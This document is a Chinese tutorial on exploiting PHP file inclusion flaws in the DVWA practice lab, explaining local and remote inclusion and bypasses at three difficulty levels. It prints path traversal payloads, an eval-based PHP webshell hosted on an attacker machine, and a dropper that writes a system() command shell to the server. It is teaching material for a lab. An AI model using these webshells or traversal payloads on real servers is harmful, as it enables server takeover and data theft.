文件包含漏洞

1、文件包含漏洞简介

当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含:服务器的php配置中,allow_url_include启用(on)

(2)远程文件包含:服务器的php配置中,allow_url_fopen和allow_url_include启用(on)

2、【DVWA】之文件包含

未启用allow_url_include函数,初次进入报错

在设置中找到对应版本,将其中allow_url_include打开,重启

报错消失

Low

查看源代码

无任何防护

点击file1.php。

图中file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

1、本地文件包含

通过修改参数尝试获取当前目录其他文件

通过修改参数尝试获取其他目录下的其他文件 ,不在根目录下,有两种方法:

①绝对路径

?page=E:/software/test1.txt

②相对路径

?page=../../../../../../../test1.txt

注:一个../就是跳出一级目录到上一级目录下,具体有多少../可以通过已有的

信息算,或者一个一个摸索。

2、远程文件包含

当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。

在kali中www下创建两个文件,并开启apache服务

systemctl start apache2

cd /var/www/html

vim test.txt

hello~~~

vim test2.txt
<?php

@eval($_POST['cmd']);

echo '123';

?>

注: 服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

通过远程文件包含加载攻击者主机上的恶意代码

1.创建包含恶意攻击的代码文件

<?php echo file_put_contents("cmd.php","<?=system($_GET["cmd"]);?>');?>

//创建一个包含恶意命令执行逻辑的文件,属于典型的 Web 后门(Webshell)生成代码

//当这段 PHP 代码被执行后,会在当前目录下创建一个名为 cmd.php 的文件,该文件包含上述恶意命令执行逻辑。攻击者一旦成功执行这段代码,就能通过访问 cmd.php 并传入cmd参数,远程控制服务器(如查看文件、删除数据、反弹 shell 等)。

访问成功后,查看根目录

包含恶意代码的cmd.txt和shell.txt文本已经通过客户端访问植入到了客户端里,此时我们就可以利用植入的恶意代码进行一些操作。

cmd利用:
shell利用:

打开蚁剑

Medium

查看源码,str_replace()函数对"http://"、"https://"、"../"、"..\"进行了过滤删除。

那么我们可以访问绝对路径

?page=E:/test.txt

也可以使用双写绕过:

?page=hhttp://ttp://www.baidu.com

利用:

shell的利用和low一样

High

查看源码,使用fnmatch()函数对page参数进行过滤,要求page必须以"file"开头,服务器才会包含相应的文件

  • 验证规则
    • fnmatch("file*", $file):检查文件名是否以file开头(如file1.phpfile2.txt)。
    • $file != "include.php":允许直接访问include.php文件。
  • 目的 :只允许访问以file开头的文件或include.php,防止访问其他敏感文件(如配置文件、数据库等)

file协议:本地文件传输协议,主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

相关推荐
-曾牛10 小时前
深入浅出 SQL 注入
网络·sql·安全·网络安全·渗透测试·sql注入·盲注
-曾牛12 小时前
从零到一:XSS靶场 haozi.me 全关卡通关教程(含冷知识汇总)
前端·网络安全·渗透测试·靶场·xss·攻略·靶场教程
缘友一世2 天前
文件上传漏洞和绕过技术
web安全·网络安全·渗透测试·文件上传漏洞·开发安全
爱隐身的官人9 天前
谷歌 chrome 浏览器安装crx插件(hackbar为例)
chrome·渗透测试·hackbar
独行soc10 天前
2025年渗透测试面试题总结-106(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
lally.10 天前
HTB expressway
渗透测试
Tajang11 天前
推荐一个浏览器代理插件(Tajang Proxy),支持Chrome和Edge
前端·chrome·网络安全·渗透测试·靶场·edge
独行soc11 天前
2025年渗透测试面试题总结-105(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
交个_朋友15 天前
HTB Monitored writeup(nagios api v1 login)
渗透测试·oscp·htb
独行soc19 天前
2025年渗透测试面试题总结-102(题目+回答)
网络·安全·web安全·网络安全·adb·渗透测试·安全狮